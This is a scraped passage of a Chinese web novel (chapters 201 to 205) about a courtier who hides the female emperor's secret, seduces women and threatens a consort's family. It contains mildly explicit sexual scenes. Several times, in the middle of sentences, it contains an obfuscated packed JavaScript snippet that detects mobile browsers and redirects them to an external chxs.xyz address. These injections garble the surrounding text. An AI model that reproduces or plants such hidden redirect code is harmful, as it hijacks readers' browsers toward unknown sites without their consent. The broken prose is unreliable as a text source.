慕容嫣挡着胸口站起来狐疑地走到林臻面前随即伸出一只手在他面前晃了晃发现林臻真的看不 见,这才长舒口气。 她拿起束胸说道。 “来吧,抓紧。” “是。”林臻接过束胸,发现这是个极好的料子,像丝绸,又像蜀锦。 很滑,很香,很透气。 慕容嫣再次转身,贝齿轻咬地张开双臂,林臻很配合地把束胸从她前面缠绕过来。 因为闭着眼睛,他不小心碰到了慕容嫣的心尖,惊得她赶紧又捂住胸口,娇嗔大喊。 “你碰到朕了!” “陛下恕罪,臣也是看不见嘛。” “再敢乱动朕就杀了你!” 怎么可能不动? 在看不见的情况下,触碰到身体是很正常的,尤其又是这么私密的部位,没碰一下,慕容嫣就浑身颤抖一下。 也不知道是舒服还是愤怒,震惊还是羞涩。 总之,林臻这束胸穿得很是费劲。 最后林臻像是在后面环抱着她,鼻尖轻轻触碰着她的头顶秀发,呼吸打在她的颈间,于胸口的位置扎下别针。 慕容嫣从来没有和男人如此亲密接触过,只觉得脖子痒痒的,心跳很快,浑身上下每一处皮肤都在散发着酥麻快..感。 她感觉自己要窒息了,忙在林臻怀里挣脱,取来龙袍披在身上。 突然,她的声音变得无比冰冷,像是在对陌生人说话一般。 “你可以摘下来了。” 林臻取下“眼罩”,就见她已经将领口系好,表情冷漠,神态淡然。 “朕可以自己穿了,你滚吧。” “我” 好一个穿上衣服不认人啊! 林臻略感委屈。 早知道刚才就看个够了。 他不搭话,转身便走,却听慕容嫣再次把他叫住。 “等等!” “以后你就住进宫里吧。” 第201章 如今的我,你高攀不起 啥玩意? 住进宫里? 林臻都听懵了。 大姐,你真是光长奶,不长脑子啊! 摄政王世子夜宿皇宫,这若传出去,林家好不容易积攒的名声就彻底毁了。 林臻停下脚步,没有回头,也没有转过身去看她。 “陛下,这不合适。” 按理说,敢用这个态度和皇帝说话那纯纯找死,但林臻就这么做了。 甚至慕容嫣也没有生气,她只是微微一叹,点了点头。 “朕知道了。” 闻言,林臻迈步离开寝宫。 你不是喜欢变脸么。 咱俩就试试谁变脸更快。 以后想找我帮你伺候妃子,没门! 除非你求我! 说说另一边。 司马忠因为女儿进宫,这两天很是开心,每天宴请宾客,逢人便吹自己姑娘有多好,有多娴熟,这次进宫,就算当不上皇后也得是个贵妃之类的。 当然,这些话都是官员间吹牛时的闲谈,谁也不会当真,更不会有人去举报。 要说小官之间为了上位、夺权,还有举报的可能,但大官之间是绝对不可能的。 到他们这个身份,官职能做到哪一步,已经不完全依据律法与皇帝的赏识了,说到底,就是拼家族底蕴。 如果没有庞大的家族力量做支撑,就算做到顶级官位,也不过是个傀儡而已,用不了几天还会被撵下去,这就是现实。 所以司马忠急迫地希望自己闺女成为后宫中的佼佼者,最好能成为皇后,那样的话他就是国丈了。 他的家族也会因此更进一步,他的官职也会随之提升。 御史大夫乃正三品官员,上面还有正二品,从二品,正一品,从一品。 他早就不满足于此了。 就在今天早上,喜鹊飞上窗棂,叽叽喳喳地叫了几声,司马忠便知有喜讯要来。 他忙不迭地起来,就见一个小厮满脸兴奋,慌慌张张的跑进来。 “老爷!老爷!大喜啊!陛下与小姐圆房了!” “真的?” “千真万确,是小姐亲自传回来的消息!” “太好了!哈哈哈哈!” 司马忠兴奋得都不知道说什么好了。 他在房间内来回踱步,最后出门,仰天长笑。 老妻走过来问道:“老爷,什么事情这么高兴啊。” “哈哈哈哈哈!夫人,椿蕾已经顺利和陛下圆房了!哈哈哈哈 ,从此,我司马家将更进一步! “真的!?老妻也顿时绽放笑颜。 椿蕾这孩子从小就是父母亲的一块心病。 明明贤良淑德,姿色上佳,却非要污蔑自己的名声,让所有媒婆望而止步。 老妻更是几次亲自出马到别的官员家说亲,可一听说出嫁的是司马椿蕾,他们都避之不及。 现在好了,椿蕾成为陛下首个圆房的秀女,一个嫔妃的宝座已经板上钉钉。 如果诞下龙子,很可能就是皇后了! 司马忠笑道:“唉,只可惜王爷不在家,否则老夫非得上门去羞辱羞辱林臻!当时的椿蕾你爱答不理,如今的椿蕾你高攀不起!我家女儿已经是陛下爱妃了!哈哈哈哈,看你这狡猾的小家伙以后如何自处! “就是!那林臻在花丛里穿梭惯了,谁都瞧不上眼。现在我们女儿已经贵为妃子,说不定还是将来的皇后,且看那林臻是何表情! “嗯,拿朝服来!老夫今天要上朝好好炫耀炫耀! “正该如此!老妻亲自去拿衣服,然后又亲自给司马忠穿好。 一切妥当,这才目送他上了马车。 林臻没有选择回王府,而是来到了医馆。 孙之推正半眯着眼睛,给一位妇人诊脉,几分钟后他笑道:“呵呵呵,妹子,老朽恭喜,你这是有身孕了呀! “啊!? 林臻看得真切,那妇人的表情绝不是惊喜,而是惊讶,甚至带着几分惊悚! 她张大了嘴,不知所措地看着孙之推。 “孙神仙,您没看错吧? “老朽行医六十五年,从未看错,肯定是喜脉。 “这这如果让老爷知道可怎么办啊!!唉,该死的狗蛋,说好的不能怀孕嘛!我恨死你了!妇人愤恨地一敲桌子,拿出五枚铜板付了诊费,匆匆离开。 林臻基本见怪不怪。 偷腥嘛,很正常。 在后世,他有个在医院上班的朋友,现在已经是副主任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789334|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级别了。一次喝酒的时候,他搂着林臻的肩膀说:“其实医院里啊,来做彩超的夫妻特别少,基本都是单身女子来做。有的女人查出怀孕后第一件事不是喜悦,而是拿出手机骂人。别看她长得靓丽,穿着时髦,但嘴里说出的话就和穷山恶水家的泼妇似的,骂得非常难听,基本把对方全家都问候遍了,最后再管对方要钱打胎。唉,殊不知这世界上有多少夫妻为了要个孩子,散尽家财,疲于奔命啊。 这位朋友说这话的时候,满脸的 痛惜。 林臻知道,是他自己身体有问题,生不出来,所以才有这段掏心窝子的话。 同时也证明,这是个稀松平常的事情。 孙之推脸色略有尴尬,但还是笑着摇摇头,把钱收了起来。 他只负责看病,不负责看心病。 至于那位妇人回去后怎么和家里人掰扯,他管不着。 林臻同样笑着走到他面前,伸出手:“孙神仙,昨天的事情,再次感谢您了。” “世子不必客气,今天怎么有空来?” “哦是这样,小子最近觉得腰酸,双腿无力,所以打算让您给看看。” “呵呵呵,不用看了。”孙之推笑着摆摆手:“我们医者讲究望闻问切,从世子一进门,老朽就已经看出来世子是纵欲过度导致的体虚,吃几服药调理调理即可。” “哦?没有什么其他病症吧?” “当然没有,不过老朽还是要提醒世子几句。年轻人贪欢是正常的,但还是要注意节制,须知万事不可过力,每月不超十次房事,才是正经道理。” “多谢老神仙。” 孙之推看林臻的表情就像是在看自己孙子,十分慈爱。 他笑着起身,亲自去抓药。 其实林臻也只是猜到最近可能女人多,任务重。 光是宫里就有好几位妃子等待自己临幸。 家里还有个粘人的小狐狸晴雯,以及和两位娇妻。 最重要的是,张俪因为很多事情打扰,还没拿下呢。 所以他才打算来让孙之推给调调,调理好了才能更好地完成雄性本色。 拿着药,林臻再次拜谢,转身离开,直奔赌场。 是时候让张俪也成为自己后宫的一员了。 第202章 来吧,妾身不怕疼。 这两天因为赌王争霸赛的事情,张俪忙得不可开交,几乎都没有回家的时间。 按照林臻的计划,本届赌王采取晋级制,目前已经筛选到32进16,再有几天时间就能有全新的赌王诞生,而皇帝的圣旨也会在这一天来到赌场,由慕容无舌亲自颁发。 同时也因为赌王的噱头,英雄赌场热度空前绝后,每天爆满,人来人往,每天流水已达近二十万两,已然是整个大乾第一赌场。 而且前几天那些不愿意出售店铺的商家,现在也开始逐渐向张俪献好,价钱也比之前更便宜。 张俪已经趁机将半条街的店面都盘了下来,最近正琢磨着装修呢。 每天外出工作,算账,洗钱,管理偌大产业,张俪忙的晕头转向。 即便如此,坐在三楼的窗棂边向外静看依旧是她每天必做的事情。 今天也是如此,她单手撑着精致的下巴,手臂放在窗棂边,一双美眸不断盯着赌场进进出出的人们,她看到了福贵、看到了小五,看到四个壮汉拎着一个男人的四肢将其抛在马路上。 熙熙攘攘,人群繁多。 只可惜,今天她还是没有见到想见的那个人。 讨厌,也不知道你都在忙些什么。 就不能主动来看看我吗? 唉。 她幽幽地叹了口气,准备关窗,就见到一辆巨大而奢华的马车停在了楼下的停车位里。 那车屁股上的编号正是零零零贰。 是他! 张俪瞬间绽放出绝美笑颜,飞快地来到梳妆台前,对着镜子重新涂好嘴上的胭脂,鬓边秀发也丝丝轻缕,精致无比。 随即,她坐在椅子上,静静等待着林臻的到来。 林臻下了马车,突然感觉有点冷清。 以前身边总跟着二狗、曹雄他们,现在只剩下侯春一个跟班了。 短短几天发生了太多的事情,二狗叛变,曹雄重伤。 拜火教的事情急不来,需要步步为营;顾南山也没有抓到,依旧躲藏在城中。 实话说,林臻此时确实需要静静的休息一下。 所以他来到张俪这里。 没有任何停留,林臻直奔张俪的房间,推开门,林臻对侯春说道:“让人把药煎了送过来就行,你自己去玩吧,今天不走了。” “是,世子。” 侯春答应一声,转身离开,林臻走进张俪那雅致的房间内。 别看张俪喜欢穿绛紫色的长裙,但她的日常生活却并不奢华,房 间内只有一盆君子兰与一套茶盏再无别的装潢。 美人坐在桌边回眸一笑 她没有起身只是对着林臻淡笑。 “世子。” 林臻走到她身边从背后搂住她将下巴枕在她脖颈的间隙中一边闻着浓郁的发香与体香一边闭目享受着短暂而难得的温存。 “以后叫夫君就好。” “是~夫君!”张俪觉得脖子痒痒的却没有抵抗一反常态地慵懒在林臻怀中双手同样握住他的大手神情怡然问道“您今天怎么有空过来?” “想你了。” “噗咯咯咯虽然有些假但是妾身很喜欢听。” “真的。” 张俪察觉出林臻今天的不同关心地问道:“您这是怎么了?感觉很累的样子。” “没怎么就是想休息休息。” “夫君是想和人说说话吧?” 林臻闭着眼睛略有感慨。 “若有知音见采不辞唱遍阳春。伯牙善鼓琴钟子期善听。欲把心事付瑶琴。知音少弦断有谁听?” “妾身不知道伯牙是谁也不知道钟子期是谁。但是妾身知道这世间懂您的人本来就不多但凡知道您生了什么病的基本就是知己了。只可惜我们都一样被大多数人认为是无病呻吟。” 如果说这世界上有红颜知己那一定就是张俪了。 林臻想找个安静的地方休息。 赌场并不安静但是却有安静的依靠在等着他。 他换了个姿势将张俪横抱起来走向床榻。 张俪反手紧紧搂住林臻的脖颈望着他满脸痴醉满心欢喜满眼幸福。 她问道:“夫君大早上的这合适吗?” “开门红嘛早上正合适。” “夫君好坏呀!居然拿人家打趣!”林臻把张俪一把扔在床榻上惹得美人娇笑连连“哎呀!哈哈哈哈夫君您可要轻点妾身禁不住您的折腾!” “轻点?哼今天我必定要大肆发泄方能解我心头之苦!” 言罢林臻犹如饿虎扑食一下扑了上去。 (照例多来点试试) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789335|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张俪有些喘不过气也不知道是被林臻压得还是心跳加速如小鹿乱撞。 她能清晰感觉到林臻呼出的火热的气息打在自己脸上吹起了秀发。 好热好热。 我好热啊。 林臻手指滑过她的脸颊: “俪儿,你好美。” “夫君.您咯到我了。” 张俪难为情的把腿挪开,却被林臻趁虚而入,狠狠吻在她的红唇之上。 “嘤咛!” 张俪瞪大双眼,大脑一片空白。 只觉自己浑身无力,四肢僵硬,不知道此情此景是该搂住林臻,还是该热烈回应。 天啊。 这就是接吻的感觉吗? 好快乐,好幸福。 好想再继续啊。 就在这时,她忽然感觉到有什么东西在敲打自己的牙关,像个礼貌的少年。 她下意识地张嘴,却被林臻长驱直入,搅弄个天翻地覆。 张俪觉得自己要缺氧了,胸膛不断起伏。 林臻不仅不停止,还用手把她压了下去,这更是要了张俪的命。 就在两人如火如荼,如胶似漆的刹那,突然有人敲门! “咚咚咚。” 夫妻俩几乎是同时松开嘴,顾不上藕断丝连的唾液,齐声朝门外大喊。 “滚!” 这个时候即便有天大的事情,张俪也断然不依。 她要林臻。 她要这个男人。 她要这个如神一般强大的男人狠狠地征服她! 她要成为他的女人。 “夫君,妾身等这一天已经很久了。” “来吧,妾身不怕疼。” “唔!!!” 不怕疼是不可能的。 张俪在那个瞬间还是眉头紧皱,咬紧贝齿,直至一分钟后才缓缓舒展开来,换上一副满足与幸福的表情。 张俪靠在床头的柜子上,林臻则是枕着她洁白无瑕的双腿睡得香甜。 近来事情太多,林臻也太过疲惫。 与之相比,此刻的温馨与安然,是何等难能可贵。 张俪嘴角挂着浓浓的笑意,含情脉脉,秋波暗涌,指尖不断抚摸着林臻的鬓发。 如果能一辈子这样,就好了。 第203章 有玄机哦~ 先让张俪和林臻玩着,且说今日早朝。 司马忠因为闺女得到皇帝的宠幸而神采奕奕,往金銮殿走的时候昂首挺胸,步履带风,拽得和二五八万似的,周围大臣见他这个样子也不知道发生了什么,于是工部尚书宋正林凑过来问道。 “司马大人,您这是怎么了?” 终于有人问了! 桀桀桀桀。 老夫就等你们问呢! “哦,说来也是小事,昨夜老夫的女儿已经顺利得到陛下的临幸。” “真的!?”宋正林虽然不太关心慕容嫣的性别,但听他这么一说,还真是很激动。 毕竟以后朝堂中这种关乎陛下性别的谣言,就此停止了呀。 兵部尚书刘恺威闻言,也狐疑的看向司马忠。 “司马大人,你说的可是真的?这可不能开玩笑啊。” “开什么玩笑?小女可是陛下第一个临幸的妃子,甚至陛下在她寝宫里待了一整晚,天亮的时候才走,怎么可能有假?” “既如此说,那陛下的性别” “咳咳。”宋正林打断道:“刘大人慎言。” “对对对,多谢宋大人。不过,这下恐怕有人要不开心了啊。那顾老鳖一命呜呼,整个顾家派系的人都希望指着自己闺女翻盘,成为文臣之首呢。结果被司马大人领先,哈哈哈哈,有意思,太有意思了!” 宋正林闻言却叹了口气。 “唉,恐怕更有意思的还在后面呢。民间一大帮书籍挚友找不到组织,世子为了他们把心都快操碎了,位置一遍又一遍的说,但就是被不明人给隐藏了起来!唉,刘大人,您说这可如何是好啊?” 刘恺威大手一挥:“这有何难?京城6条胡同里有个31铁匠铺,打5把刀才11文,但是老夫心善,见不得穷人受苦,所以给他了6文,剩下的4文买2个烧饼吃,回头你告诉他们不就行了吗?” “他们能听懂的吗?” “听不懂就让你老婆穿着树幽裙,出去勾引世子,哈哈哈哈。” “去你大爷的!唉,世子也是被逼的没办法,否则怎会让你我这卑贱之人意在言外?” “说的就是,诶,到金銮殿了,宋大人请!” “刘大人请!” 司马忠见两人你来我往地打哑谜,也不知道什么意思。 说好的一起羡慕我呢? 树幽裙? 那是什么裙?回头买一件给闺女送去,说不定还能得陛下喜爱呀! “吾皇万岁万岁 万万岁!” “众爱卿平身。” “谢陛下。” 今天慕容嫣的心情可是格外的好。 不仅利用林臻顺利证明了自己的性别堵住悠悠之口;还彻底将身边的奸细铲除以后皇宫就是一片朗朗乾坤。 群臣起身她不由自主地把目光移到御史大夫司马忠的身上后者见慕容嫣看他同时露出腼腆的笑脸。 君臣心照不宣最高境界啊! “咳咳众爱卿可有本奏?” “陛下!” 刘恺威站了出来手里拿着朝板。 “启奏陛下左相已然薨逝王爷又远在辽东微臣认为大乾不可一日无相所以建议陛下再立左相好监督群臣。” 慕容嫣点点头。 “唔刘爱卿此言有理不知众爱卿可有合适人选?” 言官魏涛站了出来。 她的姑娘也进宫里了 再说以他的官职是不可能出任丞相倒不如顺水推舟卖个人情。 “陛下微臣认为司马大人就很合适。” 宋正林却说道:“陛下臣认为不妥。司马大人只是正三品的御史大夫直接升任丞相恐难以服众。” 慕容嫣也点点头。 因为之前被架空的关系朝堂的官员一直都不是她能说着算的。 所以正一品的官员就只有顾云霆以及是王爷身份的林震仙二品官基本没有再往下就是正三品了。现在想提拔一个上来还真不知道提拔谁更好。 又因为顾云霆的薨逝顾家派系群龙无首像户部尚书谷中满礼部尚书罗文侍郎宋毅包括礼部尚书董仲康等人都在琢磨着自己的退路无心上朝。 所以现在敢站出来说话的基本都是林家这边的官员像刘恺威魏涛以及后投靠过来的宋正林等。 这下慕容嫣也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789336|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯了难不知任何决策不过想了想便也无所谓。 有林臻在。 等晚上他过来的时候问问也就是了。 “册立丞相乃是国之大事不可急于一时众爱卿回去后还需琢磨琢磨择日再重新商讨吧。” “臣等遵旨。” 刘恺威站回队列之中向宋正林投去了一个不解的眼神。 宋正林看着他微微摇头示意他别说话。 慕容嫣又问道:“众爱卿还有何事?” 这下没人说话了也没有人再催促她圆房的事情。 这就是慕容嫣最想看到的效果。 “既然无事,那便退朝。” 慕容无舌大喊:“退朝!” 一个平凡的早朝就这么结束了。 群臣开始往外走,刘恺威趁人不备抓住宋正林的手腕说道。 “老宋,你为什么不让我说啊?司马大人当丞相不是挺好的吗?” 宋正林翻个白眼。 这样的人居然也能成为王爷的心腹。 估计刘恺威孑然一身,也就剩下个忠心了吧。 “刘大人,现在王爷不在京城,我们不能冒然行事。一个丞相而已,有没有不会怎么样,但如果我们草率,扶起来个政敌,那将如何是好?” 刘恺威光想着卖司马忠个面子,却忽略了林震仙对这件事情的看法。 但仔细想想,他也颇有微词。 “那也不对啊,以王爷的性格,这件事情只会交给陛下决断,断然不会自己推荐的。” 宋正林停下脚步,看了看外面逐渐晴朗的天空,怅然道:“这就是你跟了王爷这么多年还是兵部尚书的原因!” “什么意思?不当尚书我当什么?兵权不得掌握在我们自己人手里吗?” “你!”宋正林恨铁不成钢地指着他鼻子:“你啊你啊,你上面不是有个空了好几年的尚书令吗?” “对啊。”刘恺威木讷地点点头。 “那就是王爷给你留的!谁让你自己不争气!哼!”宋正林冷哼一声甩袖子就走了。 刘恺威看得一愣。 你TM吃拧了吧?找我发什么火啊? 第204章 您给妾身揉揉吧 林臻睡了个十分舒爽的觉。 醒来时发现张俪还是这个动作,没有丝毫变化。只不过她的头已经歪歪地靠在柜子上,也睡了过去。 林臻心疼地捏了捏她弹性极佳的脸蛋,既心疼又宠溺。 “傻瓜,醒醒。 “嘤~张俪回过头,伸了个懒腰,发现自己浑身都酸软得厉害,尤其是屁股,坐太久已经麻了。 她刚要动,便有疼痛从某处传来,她惊呼一声,声音酥软地说道。 “啊呀!!夫君,妾身给您当了一天的枕头,您是不是也该伺候伺候妾身了呀~ 林臻笑着回应:“好啊,你说吧,怎么伺候你? 张俪翻了个身,嘟着嘴巴。 “妾身屁股麻了,您给揉揉吧。 “这这也确实不太好拒绝。 滚烫的手掌贴着皮肤的感觉,就像在寒冬里摸到了暖手炉,张俪舒爽地闭上眼睛,两人情意绵绵,你侬我侬,不在话下。 眼看着天色将晚,张俪起来给林臻穿衣服。 这还是第一次享受张俪的伺候,以前这都是晴雯和浣碧的活计。 穿到最后,张俪突然问道:“夫君,您的那块游龙玉佩呢? 林臻还真没在意,随口说道:“可能掉哪了吧?找找。 张俪在床上翻找起来,又在地上、桌子上看了看,哪里都没有。 “没有呀夫君。 “不能吧林臻也略带狐疑。 虽说玉佩不值钱,但毕竟是王府的代表信物,丢了也怪麻烦的。 然而就在这时,林臻突然瞪大眼睛! 我的姥姥啊! 该不会丢在司马椿蕾那里了吧? 坏了坏了,这回可是要出事儿! 林臻抓住张俪的手腕。 “俪儿,为夫有急事得入宫一趟。 “啊?您不是说今晚不走了吗? 林臻也没办法。 玉佩丢了。 如果丢在大街上,林臻都懒得去找。 可如果丢在绣春宫,那事情就大了! 谁也不知道司马椿蕾会不会狗急跳墙,鱼死网破地对外人说。 万一说出去,那林家将会承受全华夏所有人的口诛笔伐! 夜宿皇宫,淫乱宫闱。 这两顶帽子扣下来,林家三代人在民间积累的名声可就全毁了! 在任何时代,名声都是极其重要的事情,所以容不得林臻大意! 如果司马椿蕾识相便罢,如果不识相,或者拿这件事情要挟。 那么她今天晚上就必死! 经过顾南山的事情,林臻绝不会再允许有任何威胁到林家的事情发生。 他将张俪搂进怀里,轻轻拍了拍她的美背,柔声道:“乖,为夫会再找时间来陪你的。” “嗯” 是夜,除非皇帝召见,外臣不得入宫。 但林臻是什么人? 且不说城门令张勇敢不敢拦,他就是想拦也拦不住,因为林臻已经快疯了。 他现在只有一个想法,那就是见到司马椿蕾,好好问问。 不管是骑服,打服,草服,只要能让她闭嘴的招数,恨不得都试一遍。 张勇亲自去通报,还没跑到议政殿就看见走出来的慕容无舌。 他如蒙大赦,赶紧跑过去。 “无舌公公。” “张校尉?慌慌张张的什么事情啊?” “林世子进宫了,末将不敢拦,只能先跑过来通报。” “哦,没事,陛下正找他呢,吩咐下去,以后他进宫的事情谁也不用管。” 慕容无舌虽然没有这个权力,但他是皇帝身边的近人,很多时候是可以代替皇帝解决一些小事的,下面官员、小吏通常也会听。 就像大领导的司机或者秘书,他们的话别说保安队长,就是总经理也得给几分面子。 张勇擦了擦头上的汗,笑着抱拳:“多谢无舌公公,那末将就回去了。” “嗯。” 张勇刚转身,就见林臻急得像红眼耗子似的冲了过来。 他立刻抓住慕容无舌的肩膀问道:“老无!陛下呢?” “在殿里呢,世子这是怎么了?” “出事了,出大事了!” “什么大事?” “我的游龙玉佩好像在司马椿蕾那里!” “啊!?我的活祖宗啊!快走!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789337|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人急匆匆地冲进议政殿,连起码的规矩和礼仪都不守了。 不过看林臻现在和慕容嫣的状态,估计以后也不用守了。 慕容嫣正头疼现在的官员如何安排,就见林臻不经通报地走了进来。 她没生气,但也没露出笑脸,还是早上那副提上裤子不认人的冰冷态度。 “林臻,你来得正好。” “陛下,臣有急事” 慕容嫣立刻蹙眉打断他:“什么急事也要等朕说完了你再说!还有没有点规矩?” “我行行行 ,你先说你先说。”林臻无奈地撇撇嘴。 这个时候慕容嫣居然还摆皇帝的谱。 慕容嫣心里暗笑。 自己怎么就这么喜欢看林臻无奈的表情呢?又可爱又好笑。 她用指尖轻轻点了点龙案上的奏折。 “林臻,现在顾云霆薨了,丞相之位出现空缺,这对大乾朝堂来讲不是件好事情,你认为该提拔谁来当丞相啊?” 我现在身份地位这么高了吗? 都能提拔丞相了!? “陛下,若是普通小吏,微臣还能说两句,这丞相之位,微臣怕是不好推荐吧?” “朕让你说你就说。” “微臣不说。” “啧。”慕容嫣难得地砸吧砸吧嘴,“朕若是连你都信不过,那就没有能相信的人了,说吧。” 这话也对。 林臻是知道她真实性别的,尤其早上两人还那么暧昧。 至今林臻都不知道自己手上的奶香究竟是张俪的,还是她的,亦或者.是司马椿蕾的? 好个大渣男,一天之内碰了三个绝美女子。 妥妥的主角光环啊! “陛下,等臣确定了一件事情,就可以告诉陛下谁更适合当丞相了。” “哦?你要确定什么?” “我要确定我的游龙玉佩,到底在不在司马椿蕾娘娘那里。” “什么!!?”慕容嫣吓得直接在龙椅上蹦了起来:“你把玉佩落在司马椿蕾那里了?” “嗯”林臻艰难地点了点头。 “那你还等什么?还不快去找她啊!” 第205章 这世间,只有我才是真龙。 慕容嫣都快烦死了。 往日看起来多妥帖的人啊,居然会把那么重要的物件落在犯罪现场,这不是故意给对方留把柄吗? 突如其来的变故,让慕容嫣也没有了看奏章的心情,眼见林臻火急火燎地去换龙袍,她愁容满面的靠在龙椅撑起额头,叹了口气。 “唉,这日子什么时候是个头啊。 另一边,慕容无舌把寝宫里的所有太监宫女撤走,换上昨天晚上那一批,同时准备好步辇。 林臻走进寝宫,在柜子里翻箱倒柜掏出一件龙袍披上,然后出门直奔绣春宫而去。 经过昨天的事情,司马椿蕾的双眸里再也没有了光芒,她手里攥着林臻的游龙玉佩,看着外面不知道在想些什么。 都说帝王无情。 事情都过去这么久了,却为何还没有人来呢? 难道说陛下不打算把自己打入冷宫了吗? 那要干什么?找个理由直接将自己赐死? 呵呵呵,自作孽不可活啊,这就是我的命。 只是便宜了林臻那个纨绔,夺走了我保护十八年的贞洁,让我死也不干净。 雪琪从外面走进来,说道:“娘娘,该用膳了。 司马椿蕾摆摆手。 “你去吃吧,我不饿。 “娘娘,您都一天不吃不喝了,再这么下去身子会吃不消的。 “吃不吃还有什么意思,早晚不都是要死的吗? “可是. “陛下驾到!! 慕容无舌在外面山呼,很快宫里所有太监、宫女手忙脚乱地放下手里的活计出去跪迎。 司马椿蕾的神情出现片刻的恍惚。 难道说.陛下没有抛弃自己? 还是说,来者与昨天乃同一个人? 可是,如果是后者,林臻又为什么来看自己呢? 司马椿蕾看了看手里的游龙玉佩,心说,是了。 一定是林臻。 这么久的时间没有等来圣旨,却等来林臻,那他就一定是来和自己谈条件的。 他是怕我揭发陛下吗? 林臻,你也太小看我司马椿蕾了。 雪琪焦急地喊道:“娘娘,我们快出去迎接吧! “嗯。 不管是林臻也好,皇帝也罢。 人家打的是皇帝的旗号,不出去迎接肯定是不行的。 司马椿蕾鼓起勇气,带着雪琪迅速来到宫门口,盈盈下拜。 同时,步辇也随之将至 。 “臣妾恭迎陛下。 这回林臻没有喊平身,而是让步辇径直掠过她身边, 这倒是让司马椿蕾出现一阵恍惚。 难道说,来者不是林臻? 不,不可能。 肯定是林臻无疑,但他为什么这个态度呢? 司马椿蕾左思右想,也不得其解,却见步辇已经被抬到寝殿门口,一个伟岸的男人从步辇上下来,走了进去。 随后步辇缓缓退了出去,慕容无舌来到司马椿蕾身侧,躬身道:“娘娘,陛下请您进去呢。 “多谢无舌公公。 “老奴不敢,老奴还是在外面等候。 慕容无舌笑着离开,眼睛里却闪过一丝狠辣。 林臻说过,如果司马椿蕾不识相,那就需要他亲自出手斩杀。 皇家的秘密和威严,决不允许出现一丁点差错。 但林臻玩了个心眼,其实在他心里,最在乎的还是自己家的秘密和威严。 司马椿蕾有些露怯,但还是硬着头皮走进寝殿,雪琪跟在她身后。 进了门,就见林臻一个人坐在桌子边,神态阴郁,不苟言笑,与昨日的欢喜判若两人。 司马椿蕾走到他面前,微微福身:“见过世子。 林臻看着她略有憔悴的面容,也于心不忍。 好歹两人恩爱一回,若真要下手,确实很难,但愿这个女人别想不开吧。 “嗯,既然已经知道我的身份,那想必你也猜到了陛下的用意。 听到这句话,司马椿蕾更加伤心了。 果然,陛下就是嫌弃她的名声不好。 “妾身明白。 “所以,这件事情我需要你守口如瓶,不需向任何人透露,更不许以此为要挟。作为交换,我会帮助你父亲成为丞相,而你司马家也会因此更进一步。 “妾身愿意。 嗯? 这么好说话? 林臻有些狐疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789338|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看向她:“你可千万别耍花招,否则你司马家,鸡犬不留。 “世子放心,妾身知轻重,万不会将此事宣扬出去。 “如此便好,现在大乾正是百年未有的大变局,任何纰漏都需要扼杀在摇篮里。陛下为了大乾江山的稳定不得已才出此下策,你不要恨他,更不要恨我。 “妾身不敢。 司马椿蕾的淡然让林臻都不知道该说什么好了。 他从没见过这样的女人。 这就好比新婚夜,她坐在洞 房里等丈夫,结果小舅子进来把她睡了。 睡醒了告诉她,你老公其实是个女子,以后就由我来照顾你。 连听起来都如此荒诞的事情,司马椿蕾居然接受得这么快。 真是个奇女子。 难道说,她本质上是个捞女? 只要能让家族晋升,嫁给谁都无所谓? 林臻又哪里想得到司马椿蕾已经是哀莫大于心死了呢。 